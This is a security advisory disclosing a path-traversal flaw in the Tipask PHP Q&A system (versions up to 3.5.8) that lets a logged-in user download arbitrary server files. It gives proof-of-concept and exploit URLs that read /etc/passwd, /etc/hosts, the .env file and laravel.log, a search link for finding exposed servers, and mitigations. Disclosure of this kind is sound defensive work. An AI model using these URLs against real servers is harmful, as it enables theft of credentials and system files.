1.Intro

  1. Tipask: Tipask is an open source PHP Question&Answer system developed based on the Laravel framework that is easy to extend and has strong load capacity and stability.
  2. Tipask < 3.5.9, which fails to validate the path parameters entered by the user when downloading attachments, a registered user can download arbitrary files on the Tipask server, such as .env, /etc/passwd, laravel.log and so on, causing information leakage.
  3. This vulnerability is CREDITED to the following entity:
Qi'An Xin Technology Group, Network Security Department, Product-Security Team

(1)Vendor

Official Site: https://www.tipask.com/

Github Repo: https://github.com/sdfsky/tipask

Source code could be downloaded at: https://www.tipask.com/release/Tipask_v3.5.8_UTF8_20210620.zip

(2)Description

  • Exploitation of the vulnerability needs an attacker to be logged in as a registered user. By successfully exploiting it, the attacker can download any file on the Tipask server,
  • Affected Version: Tipask ≤ 3.5.8
  • Fofa dork: https://fofa.so/result?qbase64=YXBwPSJUaXBhc2st5YWs5Y%2B45Lqn5ZOBIg%3D%3D
    • 700+ tipask servers in the wild
  • CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    • Score: 7.7 (High)
    • Type: Local File Read
  • Since the vendor has CONFIRMED this vulnerability in 2021/09/17, and has patched it via commit 9b5f13, users are able to apply the patch to avoid this vuln.

2.PoC & EXP

Once you’ve registered and logged in, you can access the following address directly:

PoC

For Linux Server, the PoC is as follows

http://tipask/attach/download/..-..-..-..-..-..-..-etc-hosts

EXP

https://tipask/attach/download/..-..-.env
https://tipask/attach/download/..-logs-laravel.log
https://tipask/attach/download/..-..-..-..-..-..-..-etc-passwd

The vulnerability involves 1 file:

app\Http\Controllers\AttachController.php

path traversal due to no param-check.

Here is sensitive information that’s downloaded via the vuln.

Of course, mitigations are easy to apply:

  • limiting the directories to be read, such as using basename() to process the user’s input parameters
  • User input parameters are prohibited to contain ..

The vendor has CONFIRMED this vulnerability in 2021/09/17, and has patched it via commit 9b5f13, users are able to apply the patch to avoid this vuln.

3.Reference: